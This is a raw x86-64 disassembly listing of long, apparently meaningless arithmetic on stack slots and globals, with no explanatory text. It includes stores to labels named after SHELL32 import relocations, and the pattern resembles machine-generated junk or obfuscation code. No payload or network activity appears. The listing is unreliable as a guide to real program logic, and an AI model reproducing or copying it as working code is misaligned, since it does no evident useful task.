lea rax, [rsp + 0xc9a8]
mov qword [rsp + 0xfb38], rax
movzx eax, byte [rsp + 0x168]
mov rcx, qword [rsp + 0xf9f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1402c92f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xd898]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15e]
sar eax, cl
mov byte [rsp + 0x18d], al
movzx eax, word [rsp + 0x1c84]
mov word [rsp + 0x1d6c], ax
movzx eax, byte [rsp + 0x1a8]
movzx ecx, byte [rsp + 0x145]
xor eax, ecx
mov byte [rsp + 0xa5], al
mov rax, qword [rsp + 0xc600]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1588]
or eax, ecx
mov word [rsp + 0x1b70], ax
mov rax, qword [rsp + 0xbaf8]
mov eax, dword [rax]
mov dword [rsp + 0x7130], eax
mov rax, qword [rsp + 0xeea8]
mov rcx, qword [rsp + 0xe9c8]
mov qword [rsp + 0xfb40], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfb40]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xe238]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc218]
mov qword [rsp + 0xfb48], rax
mov rax, qword [rsp + 0xdf48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69cc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc2f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xef08]
movzx eax, byte [rax]
mov byte [0x1402c91a5], al
movzx eax, word [rsp + 0x1900]
movzx ecx, word [rsp + 0x18bc]
and eax, ecx
mov rcx, qword [rsp + 0xda48]
mov word [rcx], ax
lea rax, [rsp + 0x98]
mov qword [rsp + 0xfb50], rax
movsx eax, word [rsp + 0x17b4]
mov rcx, qword [rsp + 0xe188]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x19a0], ax
mov rax, qword [rsp + 0xba78]
movzx eax, byte [rax]
mov byte [rsp + 0x277], al
mov rax, qword [rsp + 0xd7f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xef60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd3c0], rax
mov rax, qword [rsp + 0xfab0]
mov ecx, dword [rsp + 0x69b8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6b38], eax
mov rax, qword [rsp + 0xec70]
mov qword [rsp + 0xfb58], rax
mov eax, dword [rsp + 0x6f20]
mov ecx, dword [rsp + 0x6f40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d4c], eax
mov rax, qword [rsp + 0xd868]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xf8b8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1402c74cc], ax
mov rax, qword [rsp + 0xd258]
movzx eax, byte [rax]
mov byte [rsp + 0x278], al
movzx eax, byte [rsp + 0x1e9]
mov rcx, qword [rsp + 0xc0f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x13f], al
movzx eax, word [rsp + 0x1bc8]
mov word [rsp + 0x1d70], ax
movsx eax, byte [rsp + 0x80]
mov rcx, qword [rsp + 0xbea8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe0], al
mov rax, qword [rsp + 0xf100]
mov rcx, qword [rsp + 0xef38]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xf4d8]
mov dword [rcx], eax
lea rax, [rsp + 0xc0e0]
mov qword [rsp + 0xfb60], rax
mov rax, qword [rsp + 0xf5d8]
mov rcx, qword [rsp + 0xe8c8]
mov eax, dword [rax]
imul eax, dword [rcx]
mov rcx, qword [rsp + 0xc6f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc448]
mov qword [rsp + 0xfb68], rax
lea rax, [rsp + 0x21e]
mov qword [0x1402c98a8], rax
mov rax, qword [rsp + 0xbff0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xecf8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1884], ax
movzx eax, word [0x1402c9454]
movzx ecx, word [rsp + 0x1890]
sar eax, cl
mov rcx, qword [rsp + 0xefc8]
mov word [rcx], ax
lea rax, [rsp + 0x1a10]
mov qword [rsp + 0xfb70], rax
movsx eax, byte [rsp + 0x1e0]
mov rcx, qword [0x1402c9898]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbd28]
mov byte [rcx], al
mov rax, qword [rsp + 0xcc40]
mov eax, dword [rax]
mov dword [rsp + 0x7134], eax
mov eax, dword [rsp + 0x6ebc]
mov rcx, qword [rsp + 0xd048]
mov qword [rsp + 0xfb78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfb78]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xf390]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd270]
mov rcx, qword [rsp + 0xf750]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc778], rax
mov rax, qword [rsp + 0xf660]
mov rax, qword [rax]
mov qword [rsp + 0xfb80], rax
mov rax, qword [rsp + 0xda80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd610]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c764c], ax
mov rax, qword [rsp + 0xfa30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x118]
and eax, ecx
mov rcx, qword [rsp + 0xd500]
mov byte [rcx], al
lea rax, [rsp + 0x109]
mov qword [rsp + 0xfb88], rax
movzx eax, byte [rsp + 0x17e]
mov rcx, qword [rsp + 0xc708]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8b], al
mov rax, qword [rsp + 0xd3c8]
movzx eax, word [rax]
mov word [rsp + 0x1d74], ax
mov rax, qword [rsp + 0xf820]
mov rcx, qword [rsp + 0xd8a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xcc38]
mov dword [rcx], eax
mov rax, qword [rsp + 0xec88]
mov rcx, qword [rsp + 0xd430]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe508], rax
lea rax, [0x1402c7498]
mov qword [rsp + 0xfb90], rax
mov rax, qword [rsp + 0xbf58]
mov rcx, qword [rsp + 0xf7c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xf588], rax
movzx eax, byte [rsp + 0xfa]
mov rcx, qword [rsp + 0xe0b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c7543], al
lea rax, [rsp + 0x1768]
mov qword [rsp + 0xfb98], rax
mov rax, qword [rsp + 0xc758]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a3c]
add eax, ecx
mov rcx, qword [rsp + 0xf548]
mov word [rcx], ax
mov rax, qword [rsp + 0xc760]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdbf8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xecb8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x222]
mov byte [rsp + 0x279], al
mov rax, qword [rsp + 0xe2c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6cfc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc5a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbfe0]
mov qword [rsp + 0xfba0], rax
mov rax, qword [rsp + 0xfb58]
movzx ecx, al
mov rax, qword [rsp + 0xda78]
shl rax, cl
mov qword [rsp + 0xca78], rax
mov rax, qword [rsp + 0xd5e8]
mov rcx, qword [rsp + 0xc138]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6f94], eax
mov rax, qword [rsp + 0xf0c0]
movzx eax, byte [rax]
mov byte [rsp + 0x27a], al
movzx eax, word [0x1402c7620]
cdq
mov ecx, 0x29f
idiv ecx
mov rcx, qword [0x1402c92a0]
mov word [rcx], ax
movsx eax, word [rsp + 0x19bc]
mov rcx, qword [rsp + 0xcc30]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1c58], ax
lea rax, [rsp + 0xf7]
mov qword [rsp + 0xfba8], rax
mov rax, qword [rsp + 0xdb68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdc30]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x18f8], ax
mov eax, dword [rsp + 0x6d34]
mov ecx, dword [rsp + 0x6a50]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a94], eax
mov eax, dword [rsp + 0x7064]
mov dword [rsp + 0x7138], eax
mov rax, qword [rsp + 0xbfd8]
mov rax, qword [rax]
mov rcx, qword [0x1402c7490]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd4f0], rax
mov rax, qword [rsp + 0xc448]
mov qword [rsp + 0xfbb0], rax
mov rax, qword [rsp + 0xefb0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x219]
sub eax, ecx
mov byte [rsp + 0x23b], al
mov rax, qword [0x1402c9758]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a0]
and eax, ecx
mov byte [reloc.SHELL32.dll_PathMakeUniqueName], al
mov rax, qword [rsp + 0xc528]
movzx eax, word [rax]
mov word [rsp + 0x1d78], ax
movzx eax, byte [rsp + 0xb5]
mov rcx, qword [rsp + 0xc870]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xf5], al
movzx eax, word [0x1402c75c0]
movzx ecx, word [rsp + 0x17c8]
add eax, ecx
mov word [rsp + 0x1928], ax
lea rax, [rsp + 0x6ea0]
mov qword [rsp + 0xfbb8], rax
mov rax, qword [rsp + 0xc5a0]
mov rcx, qword [0x1402c7490]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xe568]
mov qword [rcx], rax
lea rax, [rsp + 0xc930]
mov qword [rsp + 0xfbc0], rax
mov rax, qword [rsp + 0xd528]
mov rcx, qword [rsp + 0xd548]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xe8a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xef88]
movzx eax, byte [rax]
mov rcx, qword [0x1402c92f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc248]
mov byte [rcx], al
lea rax, [rsp + 0x1718]
mov qword [0x1402c98b0], rax
lea rax, [rsp + 0x1938]
mov qword [rsp + 0xfbc8], rax
mov rax, qword [rsp + 0xeed8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xeaa8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xd540]
mov byte [rcx], al
mov rax, qword [0x1402c9240]
movzx eax, word [rax]
mov word [rsp + 0x1d7c], ax
mov rax, qword [rsp + 0xcd28]
mov rcx, qword [rsp + 0xe300]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd848], rax
mov rax, qword [rsp + 0xe648]
movzx ecx, al
mov rax, qword [rsp + 0xfae8]
sar rax, cl
mov rcx, qword [rsp + 0xeeb8]
mov qword [rcx], rax
lea rax, [0x1402c7498]
mov qword [rsp + 0xfbd0], rax
mov rax, qword [rsp + 0xc5d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d5c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x68d4], eax
mov rax, qword [rsp + 0xbb78]
movzx eax, byte [rax]
mov byte [rsp + 0x27b], al
mov rax, qword [rsp + 0xe0e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16c8]
and eax, ecx
mov word [0x1402c9808], ax
mov rax, qword [rsp + 0xf858]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdfd8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x204], al
movzx eax, word [rsp + 0x1848]
mov rcx, qword [0x1402c9768]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bfc], ax
mov rax, qword [rsp + 0xd6c0]
movzx eax, byte [rax]
mov byte [rsp + 0x27c], al
movsx eax, word [rsp + 0x1a94]
mov rcx, qword [rsp + 0xd5c0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xf4f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xcfe0]
mov qword [rsp + 0xfbd8], rax
mov eax, dword [rsp + 0x6fa8]
mov ecx, dword [0x1402c90a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd8d8]
mov dword [rcx], eax
lea rax, [rsp + 0x6d74]
mov qword [rsp + 0xfbe0], rax
mov rax, qword [rsp + 0xd470]
mov rcx, qword [rsp + 0xdd28]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xbd00], rax
lea rax, [0x1402c74b6]
mov qword [0x1402c98b8], rax
movsx eax, byte [rsp + 0x276]
movsx ecx, byte [rsp + 0x275]
add eax, ecx
mov byte [rsp + 0x12f], al
lea rax, [rsp + 0x1ae4]
mov qword [rsp + 0xfbe8], rax
movzx eax, byte [0x1402c90a5]
movzx ecx, byte [rsp + 0x114]
sub eax, ecx
mov byte [rsp + 0xb6], al
lea rax, [rsp + 0x16e8]
mov qword [rsp + 0xfbf0], rax
mov rax, qword [rsp + 0xbe60]
mov rcx, qword [rsp + 0xd668]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xf688]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe530]
mov rcx, qword [rsp + 0xc080]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcf38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6cb4]
mov dword [rsp + 0x713c], eax
mov rax, qword [rsp + 0xf8e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc750]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xdfd0], rax
mov rax, qword [0x1402c9798]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xfa40]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1402c9450], ax
mov rax, qword [rsp + 0xfa70]
movzx eax, byte [rax]
mov byte [rsp + 0x27d], al
movzx eax, word [rsp + 0x1870]
mov rcx, qword [rsp + 0xc410]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1600], ax
mov rax, qword [0x1402c92a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf200]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xd1c8]
mov byte [rcx], al
lea rax, [rsp + 0xc8]
mov qword [rsp + 0xfbf8], rax
mov rax, qword [rsp + 0xdff8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6fac]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcdf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe8f8]
mov eax, dword [rax]
mov dword [rsp + 0x7140], eax
mov rax, qword [rsp + 0xf7b0]
mov rcx, qword [rsp + 0xe118]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe5a0], rax
mov rax, qword [rsp + 0xcd68]
mov qword [rsp + 0xfc00], rax
lea rax, [rsp + 0x114]
mov qword [0x1402c98c0], rax
movzx eax, word [rsp + 0x1780]
mov rcx, qword [rsp + 0xdf70]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1558], ax
mov rax, qword [rsp + 0xdfa8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdb98]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcb30]
mov word [rcx], ax
mov rax, qword [rsp + 0xdf80]
movzx eax, byte [rax]
mov byte [rsp + 0x27e], al
movsx eax, word [rsp + 0x1b28]
mov rcx, qword [rsp + 0xdb98]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xdfa8]
mov word [rcx], ax
mov eax, dword [rsp + 0x6ce4]
mov dword [rsp + 0x7144], eax
mov rax, qword [rsp + 0xd808]
mov rcx, qword [0x1402c90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xee60], rax
mov rax, qword [rsp + 0xf390]
mov ecx, dword [rsp + 0x6da4]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x700c], eax
lea rax, [rsp + 0xda00]
mov qword [rsp + 0xfc08], rax
movzx eax, byte [rsp + 0x1aa]
mov rcx, qword [rsp + 0xc238]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [reloc.SHELL32.dll_ILCombine], al
movsx eax, word [rsp + 0x16bc]
movsx ecx, word [rsp + 0x1b70]
sub eax, ecx
mov word [rsp + 0x17a8], ax
lea rax, [rsp + 0x95]
mov qword [rsp + 0xfc10], rax
movzx eax, word [rsp + 0x1764]
mov rcx, qword [rsp + 0xe930]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x179c], ax
mov rax, qword [rsp + 0xc4f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc910]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x119], al
lea rax, [rsp + 0xf248]
mov qword [rsp + 0xfc18], rax
mov eax, dword [rsp + 0x7144]
mov ecx, dword [rsp + 0x6d00]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b44], eax
lea rax, [rsp + 0x70b0]
mov qword [rsp + 0xfc20], rax
mov rax, qword [rsp + 0xd108]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc5c0]
shl rax, cl
mov rcx, qword [rsp + 0xc720]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1924]
movzx ecx, word [rsp + 0x1b00]
cdq
idiv ecx
mov rcx, qword [0x1402c95f0]
mov word [rcx], ax
movsx eax, word [rsp + 0x1c88]
mov rcx, qword [rsp + 0xc288]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x16bc], ax
lea rax, [rsp + 0xea]
mov qword [rsp + 0xfc28], rax
movzx eax, byte [0x1402c74d3]
movzx ecx, byte [rsp + 0x19c]
sar eax, cl
mov byte [rsp + 0x245], al
mov rax, qword [rsp + 0xcad8]
movzx eax, byte [rax]
mov byte [rsp + 0x27f], al
mov rax, qword [rsp + 0xbdd0]
mov rcx, qword [rsp + 0xd230]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xe548], rax
mov eax, dword [rsp + 0x6fa8]
mov dword [rsp + 0x7148], eax
mov rax, qword [rsp + 0xf8a8]
mov rcx, qword [rsp + 0xbf78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xf938]
mov dword [rcx], eax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf3c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xf038], rax
movzx eax, word [rsp + 0x17b8]
mov word [0x1402c98c8], ax
movzx eax, byte [rsp + 0x1c2]
mov byte [rsp + 0x280], al
movsx eax, byte [rsp + 0x23d]
mov rcx, qword [rsp + 0xf1c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1d2], al
mov rax, qword [rsp + 0xc0d0]
movzx eax, word [rax]
mov word [rsp + 0x1d80], ax
mov rax, qword [rsp + 0xe260]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ca0]
add eax, ecx
mov word [rsp + 0x1a28], ax
mov rax, qword [rsp + 0xdb50]
mov rcx, qword [rsp + 0xdb60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbe30], rax
mov rax, qword [rsp + 0xfbc0]
mov rax, qword [rax]
mov qword [rsp + 0xfc30], rax
mov rax, qword [rsp + 0xe030]
mov ecx, dword [rsp + 0x69d8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6f3c], eax
mov rax, qword [rsp + 0xe008]
mov eax, dword [rax]
mov dword [rsp + 0x714c], eax
mov rax, qword [rsp + 0xcad8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xf910]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [reloc.SHELL32.dll_SHChangeNotifyRegister], al
movsx eax, word [rsp + 0x18a0]
mov rcx, qword [rsp + 0xd4e8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbca0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1ab4]
mov rcx, qword [0x1402c9248]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xed58]
mov word [rcx], ax
lea rax, [rsp + 0x13a]
mov qword [rsp + 0xfc38], rax
mov rax, qword [rsp + 0xe880]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcd60]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1710], ax
lea rax, [rsp + 0x7048]
mov qword [rsp + 0xfc40], rax
mov rax, qword [rsp + 0xe588]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xedb8]
mov qword [rsp + 0xfc48], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfc48]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xd5c8]
mov dword [rcx], eax
lea rax, [rsp + 0xbf38]
mov qword [rsp + 0xfc50], rax
mov rax, qword [rsp + 0xba88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe178]
mov qword [rsp + 0xfc58], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfc58]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xeda8], rax
movzx eax, byte [rsp + 0x193]
mov rcx, qword [rsp + 0xecc0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x268], al
mov rax, qword [rsp + 0xc680]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bfc]
and eax, ecx
mov word [0x1402c764c], ax
movzx eax, word [0x1402c91d8]
mov word [rsp + 0x1d84], ax
movsx eax, byte [rsp + 0x20b]
mov rcx, qword [rsp + 0xc318]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1ef], al
mov rax, qword [rsp + 0xe8b0]
movzx eax, word [rax]
mov word [rsp + 0x1d88], ax
mov rax, qword [rsp + 0xdfb8]
mov rcx, qword [rsp + 0xec88]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xdfb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xf770]
mov rcx, qword [rsp + 0xbe28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdd00], rax
mov eax, dword [rsp + 0x6efc]
mov dword [rsp + 0x7150], eax
mov rax, qword [rsp + 0xd5c8]
mov rcx, qword [rsp + 0xed18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6c5c], eax
movzx eax, byte [rsp + 0x6c]
mov byte [rsp + 0x281], al
mov rax, qword [rsp + 0xebe0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9e]
add eax, ecx
mov byte [0x1402c7572], al
movzx eax, word [rsp + 0x1af0]
mov rcx, qword [rsp + 0xc5b8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ab0], ax
movsx eax, word [rsp + 0x17b0]
movsx ecx, word [rsp + 0x156c]
add eax, ecx
mov rcx, qword [rsp + 0xe4d0]
mov word [rcx], ax
lea rax, [rsp + 0x80]
mov qword [rsp + 0xfc60], rax
mov eax, dword [rsp + 0x6b08]
mov ecx, dword [rsp + 0x6bf8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6db4], eax
lea rax, [rsp + 0xbde8]
mov qword [rsp + 0xfc68], rax
mov rax, qword [rsp + 0xdf10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6c38]
shl eax, cl
mov rcx, qword [rsp + 0xe8e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe538]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc0e0]
shr rax, cl
mov rcx, qword [rsp + 0xbfd8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x157]
mov byte [rsp + 0x282], al
movzx eax, word [rsp + 0x1c84]
cdq
mov ecx, 0xd8b
idiv ecx
mov rcx, qword [0x1402c9178]
mov word [rcx], ax
mov rax, qword [rsp + 0xf9b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf310]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1cc], al
movzx eax, word [rsp + 0x1a8c]
mov word [rsp + 0x1d8c], ax
mov rax, qword [rsp + 0xfb98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x17ac]
xor eax, ecx
mov rcx, qword [rsp + 0xd840]
mov word [rcx], ax
lea rax, [0x1402c90a0]
mov qword [rsp + 0xfc70], rax
mov rax, qword [rsp + 0xd0e8]
mov rcx, qword [rsp + 0xc360]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe7a0], rax
mov rax, qword [rsp + 0xfa50]
mov rcx, qword [rsp + 0xc768]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xf290]
mov dword [rcx], eax
mov rax, qword [rsp + 0xda38]
mov rax, qword [rax]
mov qword [rsp + 0xfc78], rax
movzx eax, byte [rsp + 0x91]
mov rcx, qword [rsp + 0xc000]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x237], al
mov rax, qword [rsp + 0xe168]
movsx eax, byte [rax]
movsx ecx, byte [0x1402c74bf]
add eax, ecx
mov rcx, qword [0x1402c9538]
mov byte [rcx], al
lea rax, [rsp + 0x1834]
mov qword [rsp + 0xfc80], rax
mov rax, qword [rsp + 0xd820]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x108]
add eax, ecx
mov byte [rsp + 0x1a2], al
movsx eax, word [rsp + 0x1800]
movsx ecx, word [0x1402c7540]
add eax, ecx
mov word [rsp + 0x17dc], ax
lea rax, [rsp + 0x1958]
mov qword [rsp + 0xfc88], rax
mov rax, qword [rsp + 0xbbf8]
mov rcx, qword [rsp + 0xf110]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xf8a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc390]
mov qword [rsp + 0xfc90], rax
mov eax, dword [rsp + 0x6a2c]
mov ecx, dword [0x1402c90a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd0d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc3f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc170]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xef98], rax
lea rax, [rsp + 0x145]
mov qword [0x1402c98d0], rax
movzx eax, byte [rsp + 0xec]
mov byte [rsp + 0x283], al
movsx eax, word [rsp + 0x17b8]
movsx ecx, word [rsp + 0x1c5c]
sub eax, ecx
mov rcx, qword [rsp + 0xe680]
mov word [rcx], ax
lea rax, [rsp + 0x1590]
mov qword [rsp + 0xfc98], rax
mov rax, qword [rsp + 0xd450]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc3b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x22f], al
mov eax, dword [rsp + 0x7080]
mov rcx, qword [rsp + 0xfbd0]
mov qword [rsp + 0xfca0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfca0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xcbb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xfac0]
mov rax, qword [rax]
mov qword [rsp + 0xfca8], rax
mov rax, qword [rsp + 0xe470]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1402c90a0]
shr eax, cl
mov rcx, qword [rsp + 0xe3f0]
mov dword [rcx], eax
lea rax, [rsp + 0xc0c8]
mov qword [rsp + 0xfcb0], rax
movsx eax, byte [rsp + 0x57]
movsx ecx, byte [rsp + 0xd3]
or eax, ecx
mov byte [0x1402c74a3], al
movsx eax, word [0x1402c74fc]
movsx ecx, word [rsp + 0x1b30]
xor eax, ecx
mov rcx, qword [rsp + 0xdb20]
mov word [rcx], ax
lea rax, [rsp + 0xfe]
mov qword [rsp + 0xfcb8], rax
movzx eax, word [rsp + 0x169c]
mov rcx, qword [rsp + 0xcdc0]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xe5f8]
mov word [rcx], ax
movzx eax, byte [0x1402c74cf]
mov rcx, qword [rsp + 0xbe58]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd7e8]
mov byte [rcx], al
mov rax, qword [rsp + 0xe308]
mov rax, qword [rax]
mov qword [rsp + 0xfcc0], rax
mov eax, dword [0x1402c90a0]
mov ecx, dword [rsp + 0x6dd0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7108], eax
mov rax, qword [rsp + 0xd538]
mov eax, dword [rax]
mov dword [rsp + 0x7154], eax
mov rax, qword [rsp + 0xf720]
mov rcx, qword [rsp + 0xf8b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xe1f0]
mov qword [rcx], rax
lea rax, [rsp + 0x124]
mov qword [0x1402c98d8], rax
mov rax, qword [0x1402c9568]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe3e8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1a90], ax
movzx eax, word [rsp + 0x196c]
mov word [rsp + 0x1d90], ax
movzx eax, byte [rsp + 0x19e]
movzx ecx, byte [rsp + 0x9a]
add eax, ecx
mov byte [rsp + 0x146], al
